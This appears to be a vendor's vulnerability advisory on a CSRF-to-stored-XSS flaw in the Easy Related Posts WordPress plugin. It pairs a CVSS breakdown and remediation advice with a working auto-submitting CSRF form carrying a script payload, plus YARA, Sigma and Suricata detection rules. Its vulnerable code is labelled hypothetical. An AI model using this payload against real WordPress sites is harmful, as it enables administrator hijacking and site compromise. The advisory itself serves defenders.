CVE-2025-25123
Executive Summary
CVE-2025-25123 is a Cross-Site Request Forgery (CSRF) vulnerability in the Easy Related Posts WordPress plugin (by xdark), affecting versions up to and including 2.0.2. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, leading to Stored Cross-Site Scripting (XSS). This means an attacker can trick a logged-in admin into executing malicious requests that inject persistent JavaScript payloads into the WordPress site. The CVSS score is 7.1 (High), with a low EPSS probability (0.0%) indicating limited active exploitation in the wild. No official patch is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users are advised to remove or disable the plugin immediately. The lack of a patch increases supply chain risk, as malicious actors could exploit unpatched installations to compromise WordPress sites.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must be logged in as admin
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although EPSS is low, the combination of CSRF and Stored XSS can lead to full site compromise if an admin is targeted.
Deep Dive & Mechanics
The vulnerability exists in the easy-related-posts plugin, which provides related post functionality. The plugin fails to implement proper CSRF tokens on administrative actions (e.g., saving settings, updating configurations). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin’s admin endpoints.
Because the plugin also lacks proper output sanitization, the attacker can inject malicious JavaScript into plugin settings (e.g., custom CSS, post meta fields). This stored XSS payload executes in the context of the admin’s session, allowing the attacker to:
- Create new admin accounts
- Modify site content
- Install malicious plugins
- Exfiltrate sensitive data
The attack flow:
- Attacker identifies a target WordPress site running Easy Related Posts <= 2.0.2.
- Attacker crafts a CSRF exploit that sends a POST request to
/wp-admin/options-general.php?page=easy-related-postswith malicious payload. - Attacker lures an authenticated admin to visit the exploit page (e.g., via phishing email).
- The admin’s browser executes the forged request, saving the XSS payload.
- When the admin views the plugin settings page, the stored XSS executes, granting the attacker control.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code to expected secure implementation.
Vulnerable Code (hypothetical):
// In easy-related-posts/admin/class-easy-related-posts-admin.php
function save_settings() {
// No CSRF check
update_option('erp_custom_css', $_POST['erp_custom_css']);
// No sanitization
}
Expected Patched Code:
function save_settings() {
// Add CSRF check
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'erp_save_settings' ) ) {
wp_die( 'CSRF validation failed.' );
}
// Sanitize input
$custom_css = sanitize_text_field( $_POST['erp_custom_css'] );
update_option('erp_custom_css', $custom_css);
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with Easy Related Posts <= 2.0.2
- Admin user must be logged in
- Attacker-controlled server to host exploit page
Exploit HTML (CSRF + Stored XSS):
<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/options-general.php?page=easy-related-posts" method="POST">
<input type="hidden" name="erp_custom_css" value="<script>alert('XSS')</script>">
<input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Steps:
- Host the above HTML on attacker-controlled server.
- Send phishing email to admin with link to exploit page.
- Admin visits page, form auto-submits, payload saved.
- Admin navigates to plugin settings, XSS triggers.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
/wp-admin/options-general.php?page=easy-related-postswithout valid nonce. - Look for script tags in plugin settings fields (e.g.,
erp_custom_css). - Use WAF rules to block requests containing
<script>in POST parameters.
Mitigation:
- Disable or remove the plugin immediately.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Enforce CSRF tokens on all admin actions.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/options-general.php?page=easy-related-postswith suspicious parameters. - File: Modified
wp_optionstable witherp_custom_csscontaining JavaScript. - Log: WordPress debug log entries showing unexpected plugin setting changes.
- Behavior: New admin accounts created, unexpected plugin installations.
Detection Engineering
YARA Rule
rule CVE_2025_25123_CSRF_XSS {
meta:
description = "Detects CSRF + Stored XSS in Easy Related Posts plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25123"
strings:
$payload = /<script[^>]*>.*<\/script>/i
$plugin_path = "easy-related-posts"
condition:
$plugin_path and $payload
}
Sigma Rule
title: CVE-2025-25123 - CSRF to Stored XSS in Easy Related Posts
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF exploitation attempts against Easy Related Posts plugin
author: Valters IT
logsource:
category: web
product: wordpress
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/options-general.php?page=easy-related-posts'
cs-uri-query|contains: 'erp_custom_css'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-25123 - CSRF to Stored XSS in Easy Related Posts";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/options-general.php?page=easy-related-posts";
http_uri;
content:"erp_custom_css";
http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:10000001;
rev:1;
reference:cve,2025-25123;
)
Remediation & Mitigation
Immediate Actions:
- Disable/Remove Plugin: Deactivate and delete the Easy Related Posts plugin until a patch is released.
- Audit Users: Check for unauthorized admin accounts created via XSS.
- Scan for Malicious Content: Search
wp_optionsforerp_custom_csscontaining scripts.
Long-term Fixes:
- Patch Plugin: Apply CSRF tokens and input sanitization (see patched code example).
- Update WordPress: Ensure core and all plugins are up-to-date.
- Implement WAF: Use Web Application Firewall rules to block CSRF and XSS attempts.
- User Training: Educate admins on phishing risks and CSRF.
Workarounds:
- Use a security plugin (e.g., Wordfence) to add CSRF protection.
- Manually add nonce checks via custom code (if feasible).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.